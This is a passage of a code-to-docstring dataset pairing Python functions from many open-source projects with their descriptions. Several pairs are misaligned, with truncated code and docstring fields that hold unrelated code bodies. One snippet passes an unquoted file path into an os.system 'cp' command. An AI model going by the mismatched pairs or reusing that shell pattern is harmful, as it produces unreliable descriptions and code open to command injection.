system.\"\n print \"Run:\"\n print \" \".join(argv)\n\n return False\n", "nl": "Prepare a JKS TrustStore, for the CA."} {"code": "def executeAndWait(self, query, clientCtx):\n pass\n", "nl": "run a query synchronously and return a handle (QueryHandle).Parameters:- query- clientCtx"} {"code": "def __call__(self):\n\t\treturn self.get()\n", "nl": " Convenience method for getting the current accumulated time."} {"code": "def load(self, config_type=None):\n configs = {}\n for config in self.internal_schema:\n if config_type is None or config['name'] == config_type:\n config_entities = self._load_endpoint(\n config['name'],\n config['entity']\n )\n for config_entity in config_entities:\n self._filter_fields(config_entity)\n configs[config['name']] = config_entities\n return configs\n\n @property", "nl": ":param config_type::return:Usage::>>> from splunktaucclib.global_config import GlobalConfig>>> global_config = GlobalConfig()>>> configs = global_config.configs.load()"} {"code": "def install_script(self, dist, script_name, script_text, dev_path=None):\n There are a couple of template scripts in the package. This\n function loads one of them and prepares it for use.\n \"\"\"", "nl": "Generate a legacy script wrapper and install itspec = str(dist.as_requirement())is_script = is_python_script(script_text, script_name)if is_script:body = self._load_template(dev_path) % locals()script_text = ScriptWriter.get_header(script_text) + bodyself.write_script(script_name, _to_bytes(script_text), 'b')@staticmethoddef _load_template(dev_path):"} {"code": "def CreateOrGetGsutilLogger(command_name):\n log = logging.getLogger(command_name)\n if not log.handlers:\n log.propagate = False\n log.setLevel(logging.root.level)\n log_handler = logging.StreamHandler()\n log_handler.setFormatter(logging.Formatter('%(message)s'))\n log.addHandler(log_handler)\n return log\n\n", "nl": "Fetches a logger with the given name that resembles 'print' output.Initial Logger Configuration:The logger abides by gsutil -d/-D/-DD/-q options. If none of those optionswere specified at invocation, the returned logger will display all messageslogged with level INFO or above. Log propagation is disabled.If a logger with the specified name has already been created and configured,it is not reconfigured, e.g.:foo = CreateOrGetGsutilLogger('foo') # Creates and configures Logger \"foo\".foo.setLevel(logging.DEBUG) # Change level from INFO to DEBUGfoo = CreateOrGetGsutilLogger('foo') # Does not reset level to INFO.Args:command_name: (str) Command name to create logger for.Returns:A logging.Logger object."} {"code": "def Replace(self, resource, path, type, id, initial_headers, options=None):\n if options is None:\n options = {}\n", "nl": "Replaces a Azure Cosmos resource and returns it.:param dict resource::param str path::param str type::param str id::param dict initial_headers::param dict options:The request options for the request.:return:The new Azure Cosmos resource.:rtype:dict"} {"code": "def info(argv):\n usage = \"%(prog)s run [options] [arg1, ...] [param=value, ...]\"\n description = dedent(\"\"\"\\", "nl": "Print information about the current project.usage = \"%(prog)s info\"description = \"Print information about the current project.\"parser = ArgumentParser(usage=usage,description=description)args = parser.parse_args(argv)try:project = load_project()except IOError as err:print(err)sys.exit(1)print(project.info())def run(argv):Run a simulation or analysis."} {"code": "def request_monitor(self, onoff):\n _check(_lib.jack_port_request_monitor(self._ptr, onoff),\n 'Unable to switch monitoring on/off')\n", "nl": "Set input monitoring.If `can_monitor` is ``True``, turn input monitoring on oroff. Otherwise, do nothing.Parameters----------onoff : boolIf ``True``, switch monitoring on; if ``False``, switch itoff."} {"code": "def get_callback_handler(self, handler_name):\n target = self\n\n for attr in handler_name.split('.'):\n try:\n target = getattr(target, attr)\n except AttributeError:\n logger.error('Can not reach target of signal {}.{}()'.format(self, handler_name), exc_info=True)\n return None\n\n return target\n\n", "nl": " Returns the handler from its name, searching in target.Parse handler names and split on '.' to use recursion.Args:target (`object`): An object that has a method called `handler_name`handler_name (`str`): The name of the function to be connected to a signalReturns:`function`: A function bound to an object"} {"code": "def _output_const_repr(self, group):\n return repr(concat(group))\n", "nl": "Given a group of constant values converted from ``Output``child nodes, produce a string to write to the template modulesource."} {"code": "def import_config(self, path):\n destination = self.objects_dir\n command = \"cp -r '{path}' '{destination}/'\".format(**locals())\n return os.system(command)\n\n\nminimal_config = r\"\"\"", "nl": " Copies any file or directory into our environment and include it in object configurationArgs:path: full path to a nagios cfg file or a directory of cfg filesRaises:Exception if path is not found"} {"code": "def get_neighbor_ordering_parameters(self, shell, weighted):\n n_atoms = self.structure.n_atoms()\n n_types = self.structure.n_types()\n output = np.zeros((n_atoms, n_types), dtype=float)\n\n x = np.zeros(n_types, dtype=float)\n for atom in self.structure.get_atoms():\n x[atom.get_type()] += 1\n\n x /= n_atoms\n\n for a in range(n_atoms):\n if weighted:\n neighbor_shell = self.cells[a].get_neighbors_by_walks(\n self.cells, shell)\n\n n_a = np.zeros(n_types, dtype=float)\n for (k,v) in iteritems(neighbor_shell):\n n_a[k.get_atom().get_type()] += v\n\n for t in range(n_types):\n if x[t] != 0:\n output[a][t] = 1 - n_a[t] / x[t]\n else:\n neighbors = self.cells[a].get_neighbor_shell(self.cells, shell)\n\n n_a = np.zeros(n_types, dtype=float)\n for neighbor in neighbors:\n n_a[neighbor.get_atom().get_type()] += 1\n\n l_n = len(neighbors)\n for t in range(n_types):\n if x[t] != 0:\n output[a][t] = 1 - n_a[t] / l_n / x[t]\n return output\n", "nl": "Function to compute the Warren-Cowley short range ordering parametersfor each atom.alpha_{s, i} = 1 - n_{A, s} / (x_A * n_s)where n_{A, s} is the number of atoms of type A in shell s, x_A isthe composition of atom A and n_s is the number of atoms in shell s.Optionally, one can weight the contributions of each neighbor based onthe path weights. See VoronoiCell.get_neighbors_by_walks for furtherdiscussion.Parameters----------shell : intIndex of nearest neighbor shell.weighted : boolWhether to compute the weighted ordering parameters.Returns-------output : array-likeOrdering parameters for each atom in cell.References----------.. [1] J. M. Cowley, \"An Approximate Theory of Order in Alloys,\" Physical Review, vol. 77, no. 5, pp. 669--675, Mar. 1950."} {"code": "def test_error_message(self):\n tx_msg = SigningMessage(performative=SigningMessage.Performative.SIGN_TRANSACTION,)\n assert not tx_msg._is_consistent()\n\n", "nl": "Test for an error for an error message.tx_msg = SigningMessage(performative=SigningMessage.Performative.ERROR,message_id=2,target=1,error_code=SigningMessage.ErrorCode.UNSUCCESSFUL_MESSAGE_SIGNING,)assert tx_msg._is_consistent()encoded_tx_msg = tx_msg.encode()decoded_tx_msg = tx_msg.serializer.decode(encoded_tx_msg)assert tx_msg == decoded_tx_msgassert str(tx_msg.performative) == \"error\"assert len(tx_msg.valid_performatives) == 5def test_consistency_check_negative():Test the consistency check, negative case."} {"code": "def template_for_page(self, page, mode=None):\n if mode is None:\n mode = self.mode\n", "nl": "Return the preferred template for the given page and mode, based oninherited settings from the page/target and global default."} {"code": "def decode(cls, kwargs_protobuf_object: Any) -> \"Kwargs\":\n kwargs = DictProtobufStructSerializer.decode(kwargs_protobuf_object.kwargs)\n return cls(kwargs)\n", "nl": "Decode a protocol buffer object that corresponds with this class into an instance of this class.A new instance of this class is created that matches the protocol buffer object in the 'kwargs_protobuf_object' argument.:param kwargs_protobuf_object: the protocol buffer object whose type corresponds with this class.:return: A new instance of this class that matches the protocol buffer object in the 'kwargs_protobuf_object' argument."} {"code": "def threaded(callback, listargs):\n threads, results = [], []\n for args in listargs:\n args += [results, len(results)]\n results.append(None)\n threads.append(Thread(target=callback, args=args))\n threads[-1].setDaemon(True)\n threads[-1].start()\n for thread in threads:\n thread.join()\n return results\n\n", "nl": " Returns the result of for each set of \\*args in listargs. Each callto pd.DataFrame:\n", "nl": "Get a BGP dataframe that also contains a session's matching peerif 'peerHostname' not in df.columns:return df# We have to separate out the Established and non Established entries# for the merge. Otherwise we end up with a messdf_1 = df[['namespace', 'hostname', 'vrf', 'peer', 'peerIP','updateSource']] \\.drop_duplicates() \\.reset_index(drop=True)df_2 = df[['namespace', 'hostname', 'vrf', 'updateSource']] \\.drop_duplicates() \\.reset_index(drop=True)mdf = df_1.merge(df_2,left_on=['namespace', 'peerIP'],right_on=['namespace', 'updateSource'],suffixes=('', '_y')) \\.drop_duplicates(subset=['namespace', 'hostname', 'vrf','peerIP']) \\.rename(columns={'hostname_y': 'peerHost'}) \\.fillna(value={'peerHostname': '', 'peerHost': ''}) \\.reset_index(drop=True)df = df.merge(mdf[['namespace', 'hostname', 'vrf', 'peer','peerHost']],on=['namespace', 'hostname', 'vrf', 'peer'], how='left')df['peerHostname'] = np.where((df['peerHostname'] == '') &(df['state'] == \"Established\"),df['peerHost'],df['peerHostname'])df = df.fillna(value={'peerHostname': ''}) \\.drop(columns=['peerHost'])for i in df.select_dtypes(include='category'):df[i].cat.add_categories('', inplace=True)return dfdef aver(self, **kwargs) -> pd.DataFrame:BGP Assert"} {"code": "def IsBlockInNameSpace(nesting_state, is_forward_declaration):\n if is_forward_declaration:\n if len(nesting_state.stack) >= 1 and (\n isinstance(nesting_state.stack[-1], _NamespaceInfo)):\n return True\n else:\n return False\n\n return (len(nesting_state.stack) > 1 and\n nesting_state.stack[-1].check_namespace_indentation and\n isinstance(nesting_state.stack[-2], _NamespaceInfo))\n\n", "nl": "Checks that the new block is directly in a namespace.Args:nesting_state: The _NestingState object that contains info about our state.is_forward_declaration: If the class is a forward declared class.Returns:Whether or not the new block is directly in a namespace."} {"code": "def test_fit(self, resource_loader):\n config = ModelConfig(\n **{\n \"model_type\": \"text\",\n \"example_type\": QUERY_EXAMPLE_TYPE,\n \"label_type\": CLASS_LABEL_TYPE,\n \"model_settings\": {\"classifier_type\": \"logreg\"},\n \"param_selection\": {\n \"type\": \"k-fold\",\n \"k\": 10,\n \"grid\": {\"C\": [10, 100, 1000], \"fit_intercept\": [True, False]},\n },\n \"features\": {\n \"bag-of-words\": {\"lengths\": [1]},\n \"freq\": {\"bins\": 5},\n \"length\": {},\n },\n }\n )\n model = TextModel(config)\n examples = self.labeled_data.queries()\n labels = self.labeled_data.intents()\n model.initialize_resources(resource_loader, examples, labels)\n model.fit(examples, labels)\n\n assert model._current_params\n", "nl": "Tests that a basic fit succeedsconfig = ModelConfig(**{\"model_type\": \"text\",\"example_type\": QUERY_EXAMPLE_TYPE,\"label_type\": CLASS_LABEL_TYPE,\"model_settings\": {\"classifier_type\": \"logreg\"},\"params\": {\"fit_intercept\": True, \"C\": 100},\"features\": {\"bag-of-words\": {\"lengths\": [1]},\"freq\": {\"bins\": 5},\"length\": {},},})model = TextModel(config)examples = self.labeled_data.queries()labels = self.labeled_data.intents()model.initialize_resources(resource_loader, examples, labels)model.fit(examples, labels)assert model._current_params == {\"fit_intercept\": True, \"C\": 100}def test_fit_cv(self, resource_loader):Tests fitting with param selection"} {"code": "def prepare_headers(self, http_headers, soap_action):\n\n headers = {\"Content-Type\": 'text/xml; charset=\"utf-8\"'}\n if soap_action is not None:\n headers.update({\"SOAPACTION\": '\"{}\"'.format(soap_action)})\n if http_headers is not None:\n headers.update(http_headers)\n return headers\n", "nl": "Prepare the http headers for sending.Add the ``SOAPACTION`` header to the others.Args:http_headers (dict): A dict in the form ``{'Header': 'Value,..}``containing http headers to use for the http request.soap_action (str): The value of the ``SOAPACTION`` header.Returns:dict: headers including the ``SOAPACTION`` header."} {"code": "def run(self, frame):\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n dst = cv2.calcBackProject([hsv], [0, 1], self.roi_hist, [0, 180, 0, 255], 1)\n _, self.box = cv2.CamShift(dst, self.box, self.term_crit)\n\n (x, y, x2, y2) = self.glob_to_relative(\n (self.box[0], self.box[1], self.box[0] + self.box[2],\n self.box[1] + self.box[3]))\n\n self.annotation.bbox.left = x\n self.annotation.bbox.top = y\n self.annotation.bbox.right = x2\n self.annotation.bbox.bottom = y2\n\n self.age = self.age + 1\n self.degrade()\n", "nl": "Processes a single frame.Args:frame: The np.array image frame."} {"code": "def test_taskrun_delete(self):\n guard.return_value = mock_contributions_guard(True)\n project = ProjectFactory.create()\n task = TaskFactory.create(project=project, n_answers=2)\n url = '/api/taskrun?api_key=%s' % project.owner.api_key\n\n data = dict(\n project_id=task.project_id,\n task_id=task.id,\n user_id=project.owner.id,\n info='my task result')\n datajson = json.dumps(data)\n mock_request.data = datajson\n\n tmp = self.app.post(url, data=datajson)\n r_taskrun = json.loads(tmp.data)\n\n assert tmp.status_code == 200, r_taskrun\n\n err_msg = \"Task state should be different from completed\"\n assert task.state == 'ongoing', err_msg\n\n mock_request.remote_addr = '127.0.0.0'\n url = '/api/taskrun'\n data = dict(\n project_id=task.project_id,\n task_id=task.id,\n info='my task result anon')\n datajson = json.dumps(data)\n tmp = self.app.post(url, data=datajson)\n r_taskrun = json.loads(tmp.data)\n\n assert tmp.status_code == 200, r_taskrun\n assert r_taskrun['user_ip'] != '127.0.0.0', r_taskrun\n assert r_taskrun['user_ip'] == anonymizer.ip('127.0.0.0')\n err_msg = \"Task state should be equal to completed\"\n assert task.state == 'completed', err_msg\n\n @with_context", "nl": "Test TaskRun API delete worksadmin = UserFactory.create()owner = UserFactory.create()non_owner = UserFactory.create()project = ProjectFactory.create(owner=owner)task = TaskFactory.create(project=project)anonymous_taskrun = AnonymousTaskRunFactory.create(task=task, info='my task result')user_taskrun = TaskRunFactory.create(task=task, user=owner, info='my task result')## anonymousres = self.app.delete('/api/taskrun/%s' % user_taskrun.id)error_msg = 'Anonymous should not be allowed to delete'assert_equal(res.status, '401 UNAUTHORIZED', error_msg)### real user but not allowed to delete anonymous TaskRunsurl = '/api/taskrun/%s?api_key=%s' % (anonymous_taskrun.id, owner.api_key)res = self.app.delete(url)error_msg = 'Authenticated user should not be allowed ' \\'to delete anonymous TaskRuns'assert_equal(res.status, '403 FORBIDDEN', error_msg)### real user but not allowed as not owner!url = '/api/taskrun/%s?api_key=%s' % (user_taskrun.id, non_owner.api_key)res = self.app.delete(url)error_msg = 'Should not be able to delete TaskRuns of others'assert_equal(res.status, '403 FORBIDDEN', error_msg)#### real user# DELETE with not allowed argsurl = '/api/taskrun/%s?api_key=%s' % (user_taskrun.id, owner.api_key)res = self.app.delete(url + \"&foo=bar\")err = json.loads(res.data)assert res.status_code == 415, errassert err['status'] == 'failed', errassert err['target'] == 'taskrun', errassert err['action'] == 'DELETE', errassert err['exception_cls'] == 'AttributeError', err# Owner with valid args can deleteres = self.app.delete(url)assert_equal(res.status, '204 NO CONTENT', res.data)### rooturl = '/api/taskrun/%s?api_key=%s' % (anonymous_taskrun.id, admin.api_key)res = self.app.delete(url)error_msg = 'Admin should be able to delete TaskRuns of others'assert_equal(res.status, '204 NO CONTENT', error_msg)@with_context@patch('pybossa.api.task_run.request')@patch('pybossa.api.task_run.ContributionsGuard')def test_taskrun_updates_task_state(self, guard, mock_request):Test API TaskRun POST updates task state"} {"code": "def get_user_details(self, response):\n return self.get_json(\n 'https://oauth.reddit.com/api/v1/me.json',\n headers={'Authorization': 'bearer ' + access_token}\n )\n", "nl": "Return user details from Reddit accountreturn {'username': response.get('name'),'email': '', 'fullname': '','first_name': '', 'last_name': ''}def user_data(self, access_token, *args, **kwargs):Loads user data from service"} {"code": "def test_wsgiMultithread(self):\n thread = self.render('GET', '1.1', [], [''])\n thread.addCallback(self.environKeyEqual('wsgi.multithread', True))\n return thread\n\n", "nl": "The C{'wsgi.multithread'} key of the C{environ} C{dict} passed to theapplication is set to C{True}."} {"code": "def as_text(self, custom_marker='{{ HOLE }}'):\n output = []\n for is_hole, member in self._each_member():\n if is_hole:\n output.append(custom_marker)\n else:\n output.append(member)\n return ''.join(output)\n", "nl": "Returns a display-friendly version of the Brain, using thegiven custom_marker to mark template holes."} {"code": "def __init__(self, parent, include_link=True, *args, **kwargs):\n super().__init__(*args, **kwargs)\n", "nl": "Custom widget to display the scripting documentation.Args:parent (QWidget): Parent screen to check layoutDirection()include_link (bool): Indicates whether the web link should be included"} {"code": "def _trash_data(self, table_name, rows):\n data_table = self.data[table_name]", "nl": "Move data rows into trash.Data is moved into trash with ability to be restored later, if needed.Args:table_name: Name of a table where data for marking resides.rows: iterable with data rows from the table."} {"code": "def async_detect_document(gcs_source_uri, gcs_destination_uri):\n\n Args:\n path: The path to the local file.\n \"\"\"", "nl": "OCR with PDF/TIFF as source files on GCSimport jsonimport refrom google.cloud import visionfrom google.cloud import storage# Supported mime_types are: 'application/pdf' and 'image/tiff'mime_type = 'application/pdf'# How many pages should be grouped into each json output file.batch_size = 2client = vision.ImageAnnotatorClient()feature = vision.Feature(type_=vision.Feature.Type.DOCUMENT_TEXT_DETECTION)gcs_source = vision.GcsSource(uri=gcs_source_uri)input_config = vision.InputConfig(gcs_source=gcs_source, mime_type=mime_type)gcs_destination = vision.GcsDestination(uri=gcs_destination_uri)output_config = vision.OutputConfig(gcs_destination=gcs_destination, batch_size=batch_size)async_request = vision.AsyncAnnotateFileRequest(features=[feature], input_config=input_config,output_config=output_config)operation = client.async_batch_annotate_files(requests=[async_request])print('Waiting for the operation to finish.')operation.result(timeout=420)# Once the request has completed and the output has been# written to GCS, we can list all the output files.storage_client = storage.Client()match = re.match(r'gs://([^/]+)/(.+)', gcs_destination_uri)bucket_name = match.group(1)prefix = match.group(2)bucket = storage_client.get_bucket(bucket_name)# List objects with the given prefix, filtering out folders.blob_list = [blob for blob in list(bucket.list_blobs(prefix=prefix)) if not blob.name.endswith('/')]print('Output files:')for blob in blob_list:print(blob.name)# Process the first output file from GCS.# Since we specified batch_size=2, the first response contains# the first two pages of the input file.output = blob_list[0]json_string = output.download_as_string()response = json.loads(json_string)# The actual response for the first page of the input file.first_page_response = response['responses'][0]annotation = first_page_response['fullTextAnnotation']# Here we print the full text from the first page.# The response contains more information:# annotation/pages/blocks/paragraphs/words/symbols# including confidence scores and bounding boxesprint('Full text:\\n')print(annotation['text'])# [END vision_text_detection_pdf_gcs]# [START vision_localize_objects]def localize_objects(path):Localize objects in the local image."} {"code": "def run():\n ___ _ ___ ___\n / __| |_ __ _ _ _ / _ \\ / __| ___ _ ___ _____ _ _\n \\__ \\ ' \\/ _` | '_| (_) | \\__ \\/ -_) '_\\ V / -_) '_|\n |___/_||_\\__,_|_| \\__\\_\\ |___/\\___|_| \\_/\\___|_|\n\n Version: %s\n\n Listening on: %s\n \"\"\" % (__version__, bind))", "nl": "Exposes a CLI to configure the SharQ Server and runs the server.# create a arg parser and configure it.parser = argparse.ArgumentParser(description='SharQ Server.')parser.add_argument('-c', '--config', action='store', required=True,help='Absolute path of the SharQ configuration file.',dest='sharq_config')parser.add_argument('-gc', '--gunicorn-config', action='store', required=False,help='Gunicorn configuration file.',dest='gunicorn_config')parser.add_argument('--version', action='version', version='SharQ Server %s' % __version__)args = parser.parse_args()# read the configuration file and set gunicorn options.config_parser = configparser.SafeConfigParser()# get the full path of the config file.sharq_config = os.path.abspath(args.sharq_config)config_parser.read(sharq_config)host = config_parser.get('sharq-server', 'host')port = config_parser.get('sharq-server', 'port')bind = '%s:%s' % (host, port)try:workers = config_parser.get('sharq-server', 'workers')except configparser.NoOptionError:workers = number_of_workers()try:accesslog = config_parser.get('sharq-server', 'accesslog')except configparser.NoOptionError:accesslog = Noneoptions = {'bind': bind,'workers': workers,'worker_class': 'gevent' # required for sharq to function.}if accesslog:options.update({'accesslog': accesslog})if args.gunicorn_config:gunicorn_config = os.path.abspath(args.gunicorn_config)options.update({'config': gunicorn_config})print("} {"code": "def validate_and_parse_config(self, config, is_mode_config, debug_prefix: str = None):\n self.debug_log(\"Moving to position %s\", position)\n if self.config['pos_min'] <= position <= self.config['pos_max']:\n self._target_position = position\n self._is_moving.set()\n else:\n raise ValueError(\"_move_to_absolute_position: position argument beyond limits\")\n", "nl": "Validate stepper config.config = super().validate_and_parse_config(config, is_mode_config, debug_prefix)platform = self.machine.get_platform_sections('stepper_controllers', getattr(config, \"platform\", None))config['platform_settings'] = platform.validate_stepper_section(self, config.get('platform_settings', None))self._configure_device_logging(config)return configasync def _run(self):# wait for switches to be initialisedawait self.machine.events.wait_for_event(\"init_phase_3\")# first home the stepperself.debug_log(\"Homing stepper\")await self._home()# run the loop at least onceself._is_moving.set()while True:# wait until we should be movingawait self._is_moving.wait()self._is_moving.clear()# store target position in local variable since it may change in the meantimetarget_position = self._target_positiondelta = target_position - self._current_positionif delta != 0:self.debug_log(\"Got move command. Current position: %s Target position: %s Delta: %s\",self._current_position, target_position, delta)# move stepperself.hw_stepper.move_rel_pos(delta)# wait for the move to completeawait self.hw_stepper.wait_for_move_completed()else:self.debug_log(\"Got move command. Stepper already at target. Not moving.\")# set current positionself._current_position = target_position# post ready eventself._post_ready_event()self.debug_log(\"Move completed\")def _move_to_absolute_position(self, position):Move servo to position."} {"code": "def deserialize(data): # pragma:nocover\n\n\nclass IExternalAPIMock(Interface):\n \"\"\"\n id_key = Attribute(\"Unique Service ID\")\n name_key = Attribute(\"Name of the External API. Primarily used for \"\n \"the internal mappings. Must be unique.\")\n type_key = Attribute(\"Type of the Templatized External API. Primarily \"\n \"used for the internal mappings. Must be unique.\")\n", "nl": "Deserialize the endpoint template from a dictionary.:param dict data: a dictionary of values to import the template datafrom."} {"code": "def test_interface(self):\n pidFile = NonePIDFile()\n verifyObject(IPIDFile, pidFile)\n\n", "nl": "L{NonePIDFile} conforms to L{IPIDFile}."} {"code": "def test_unregister_fails_when_item_not_registered(self):\n assert self.registry.fetch(MagicMock()) is None", "nl": "Test that unregister fails when the item is not registered..public_id = PublicId(\"author\", \"package\", \"0.1.0\")with pytest.raises(ValueError, match=f\"No item registered with item id '{public_id}'\"):self.registry.unregister(public_id)def test_fetch_none(self):Test fetch, negative case."} {"code": "def shift(self, top=None, right=None, bottom=None, left=None):\n lss_new = [ls.shift(top=top, right=right, bottom=bottom, left=left)\n for ls in self.line_strings]\n return LineStringsOnImage(lss_new, shape=self.shape)\n", "nl": "Shift/move the line strings from one or more image sides.Parameters----------top : None or int, optionalAmount of pixels by which to shift all bounding boxes from thetop.right : None or int, optionalAmount of pixels by which to shift all bounding boxes from theright.bottom : None or int, optionalAmount of pixels by which to shift all bounding boxes from thebottom.left : None or int, optionalAmount of pixels by which to shift all bounding boxes from theleft.Returns-------imgaug.augmentables.lines.LineStringsOnImageShifted line strings."} {"code": "def resolve_revision(cls, dest, url, rev_options):\n rev = rev_options.arg_rev\n sha, is_branch = cls.get_revision_sha(dest, rev)\n\n if sha is not None:\n rev_options = rev_options.make_new(sha)\n rev_options.branch_name = rev if is_branch else None\n\n return rev_options\n\n if not looks_like_hash(rev):\n logger.warning(\n \"Did not find branch or tag '%s', assuming revision or ref.\",\n rev,\n )\n\n if not rev.startswith('refs/'):\n return rev_options\n\n cls.run_command(\n ['fetch', '-q', url] + rev_options.to_args(),\n cwd=dest,\n )\n sha = cls.get_revision(dest, rev='FETCH_HEAD')\n rev_options = rev_options.make_new(sha)\n\n return rev_options\n\n @classmethod", "nl": "Resolve a revision to a new RevOptions object with the SHA1 of thebranch, tag, or ref if found.Args:rev_options: a RevOptions object."} {"code": "def get_class_image_dir(namespace, version):\n\n return os.path.join(\n _BASEDIR, \"clsimages\",\n \"%s-%s\" % (namespace, version))\n\n", "nl": "The image directory for a given `namespace` and `version`.The returned directory path might not exist."} {"code": "def xorBytes(s1, s2):\n nums = [(c1 ^ c2) for (c1,c2) in zip(s1, s2)]\n asBytes = bytes(nums)\n return asBytes\n", "nl": "XOR two bytes sequences"} {"code": "def _handle_krb_error(err):\n\n @click.group(cls=cli.make_commands(__name__))\n @click.option('--ldap', required=False,\n envvar='TREADMILL_LDAP',\n type=cli.LIST,\n callback=cli.handle_context_opt,\n is_eager=True,\n expose_value=False)\n @click.option('--ldap-master', required=False,\n envvar='TREADMILL_LDAP_MASTER',\n type=cli.LIST,\n callback=cli.handle_context_opt,\n is_eager=True,\n expose_value=False)\n @click.option('--ldap-user', required=False,\n envvar='TREADMILL_LDAP_USER',\n callback=cli.handle_context_opt,\n is_eager=True,\n expose_value=False)\n @click.option('--ldap-pwd', required=False,\n envvar='TREADMILL_LDAP_PWD',\n callback=cli.handle_context_opt,\n is_eager=True,\n expose_value=False)\n @click.option('--ldap-suffix', required=False,\n envvar='TREADMILL_LDAP_SUFFIX',\n callback=cli.handle_context_opt,\n is_eager=True,\n expose_value=False)\n @click.pass_context", "nl": "Handle GSSAPI error.msg = err.args[1][0]click.echo(msg, err=True)ON_EXCEPTIONS = cli.handle_exceptions([(ldap_exceptions.LDAPInsufficientAccessRightsResult,'Error: access denied.'),(ldap_exceptions.LDAPBindError, None),(ldap_exceptions.LDAPNoSuchObjectResult, _handle_no_such_ldap_obj),(admin_exceptions.AdminAuthorizationError, 'Error: access denied.'),(admin_exceptions.AdminConnectionError, None),(admin_exceptions.NoSuchObjectResult, 'Error: resource does not exist.'),(kazoo.exceptions.NoAuthError, 'Error: not authorized.'),(kazoo.exceptions.NoNodeError, 'Error: resource does not exist.'),(kerberos.GSSError, _handle_krb_error),(restclient.NotAuthorizedError, restclient.handle_not_authorized),(restclient.MaxRequestRetriesError, None),(dns.exception.Timeout, 'Error: DNS server timeout.'),(dns.resolver.NXDOMAIN, 'Error: Could not resolve DNS record.'),(dns.resolver.YXDOMAIN, 'Error: DNS error.'),(context.ContextError, None),])def init():Return top level command handler."} {"code": "def _render_text(self, text, preformatted=False):\n tag = 'pre' if preformatted else 'div'\n self._segments.append('<%s>%s' % (tag, HtmlBuilder._format(text), tag))\n", "nl": "Renders an HTML formatted text block with the specified text.Args:text: the text to renderpreformatted: whether the text should be rendered as preformatted"} {"code": "def childConnectionLost(self, childFD):\n if childFD == 1:\n self.stages.append(2)\n if self.data != b\"abcd\":\n raise RuntimeError(\n \"Data was %r instead of 'abcd'\" % (self.data,))\n self.transport.write(b\"1234\")\n elif childFD == 2:\n self.stages.append(3)\n if self.err != b\"1234\":\n raise RuntimeError(\n \"Err was %r instead of '1234'\" % (self.err,))\n self.transport.write(b\"abcd\")\n self.stages.append(4)\n elif childFD == 0:\n self.stages.append(5)\n", "nl": "Similarly to L{childDataReceived}, disable the automatic dispatchprovided by the base implementation to verify that the transport iscalling this method directly."} {"code": "def get_data_from_cache(url, cache_dir=None, force_download=False, md5=None):\n if cache_dir is None:", "nl": "Given a URL, look for the corresponding dataset in the local cache.If it's not there, download it. Then return the path to the cached file."} {"code": "def p_ID(self, p):\n p[0] = p[1]\n", "nl": "ID : regulars| string| html "} {"code": "def get_response_type(cls, endpoint: str):\n\n authorization_endpoint = MessageTuple(AuthorizationRequest, AuthorizationResponse)\n token_endpoint = MessageTuple(AccessTokenRequest, AccessTokenResponse)\n refresh_endpoint = MessageTuple(RefreshAccessTokenRequest, AccessTokenResponse)\n resource_endpoint = MessageTuple(ResourceRequest, Message)\n configuration_endpoint = MessageTuple(Message, ASConfigurationResponse)", "nl": "Return class representing the response_cls for given endpoint.try:return getattr(cls, endpoint).response_clsexcept AttributeError:raise MessageException(\"Unknown endpoint.\")class OauthMessageFactory(MessageFactory):Factory that knows Oauth2.0 message types."} {"code": "def create_backend(self, data={}):", "nl": "Create and return RapidSMS backend object. A random ``name``will be created if not specified in ``data`` attribute.:param data: Optional dictionary of field name/value pairs to passto the object's ``create`` method."} {"code": "def make_app(ckan_config):\n from ckan.lib.app_globals import _CONFIG_CACHE\n _CONFIG_CACHE.clear()\n\n return test_helpers._get_test_app\n\n\n@pytest.fixture", "nl": "Factory for client app instances.Unless you need to create app instances lazily for some reason,use the ``app`` fixture instead."} {"code": "def get_mib_data_sync(self, device_id):\n if not isinstance(device_id, basestring):\n raise TypeError('Device ID should be an string')\n\n if device_id not in self._data:\n return None\n\n return self._data[device_id].get(MDS_KEY)\n", "nl": "Get the MIB Data Sync value last saved to the database for a device:param device_id: (str) ONU Device ID:return: (int) The Value or None if not found"} {"code": "def fetchedTabbedPaneFragment():\n return TabbedPaneFetcher()", "nl": "Return a widget will fetch a L{TabbedPaneFragment} from the server whenasked to. Renders as a \"Get a tabbed pane from the server\" link, which,when clicked, will return the result of L{tabbedPaneFragment}."} {"code": "def process(self, query: str) -> Iterable[Tuple[str, str, Any]]:\n self.cursor.execute(query)\n rows = self.cursor.fetchall()\n if rows:\n cols = []\n col_types = []\n for metadata in self.cursor.description:\n cols.append(metadata[0])\n col_types.append(metadata[1])\n\n for r in rows:\n yield zip(cols, col_types, r)\n", "nl": "Yields rows from query results.Args:query: A SQL query used to return results from Presto table.Yields:One row from the query result, represented by a list of tuples. Each tuplecontains information on column name, column data type, data."} {"code": "def enable_service_mode(self, pin, expiration_time):\n return self._gm_command(pin, expiration_time, \"ACTIVE\")\n", "nl": "Enable service mode. Will disable at the specified time (epoch millis)return self._prov_command(pin, expiration_time, \"protectionStrategy_serviceMode\")def enable_guardian_mode(self, pin, expiration_time):Enable Guardian Mode until the specified time (epoch millis)"} {"code": "def _get_inception_layer(sess):\n\n Params:\n -- images : Numpy array of dimension (n_images, hi, wi, 3). The values\n must lie between 0 and 256.\n -- sess : current session\n -- batch_size : the images numpy array is split into batches with batch size\n batch_size. A reasonable batch size depends on the available hardware.\n -- verbose : If set to True and parameter out_step is given, the number of calculated\n batches is reported.\n Returns:\n -- A numpy array of dimension (num images, 2048) that contains the\n activations of the given tensor when feeding inception with the query tensor.\n \"\"\"", "nl": "Prepares inception net for batched usage and returns pool_3 layer. layername = 'FID_Inception_Net/pool_3:0'pool3 = sess.graph.get_tensor_by_name(layername)ops = pool3.graph.get_operations()for op_idx, op in enumerate(ops):for o in op.outputs:shape = o.get_shape()if shape._dims is not None:shape = [s.value for s in shape]new_shape = []for j, s in enumerate(shape):if s == 1 and j == 0:new_shape.append(None)else:new_shape.append(s)o._shape = tf.TensorShape(new_shape)return pool3#-----------------#-------------------------------------------------------------------------------def get_activations(images, sess, batch_size=50, verbose=False):Calculates the activations of the pool_3 layer for all images."} {"code": "def replace(self, current=None, output=None):\n return ResolutionScope(\n base=self._base,\n current=self._current if current is None else current,\n output=self._output if output is None else output\n )\n", "nl": "Returns a copy of the scope with the ``current`` and ``output``scopes replaced."} {"code": "def init_server(self) -> None:\n canon = self.app.conf.canonical_url\n if canon.host == socket.gethostname():\n return URL(f'http://localhost:{self.app.conf.web_port}/')\n return self.app.conf.canonical_url\n\n\nclass Request(abc.ABC):\n \"\"\"HTTP Request.\"\"\"", "nl": 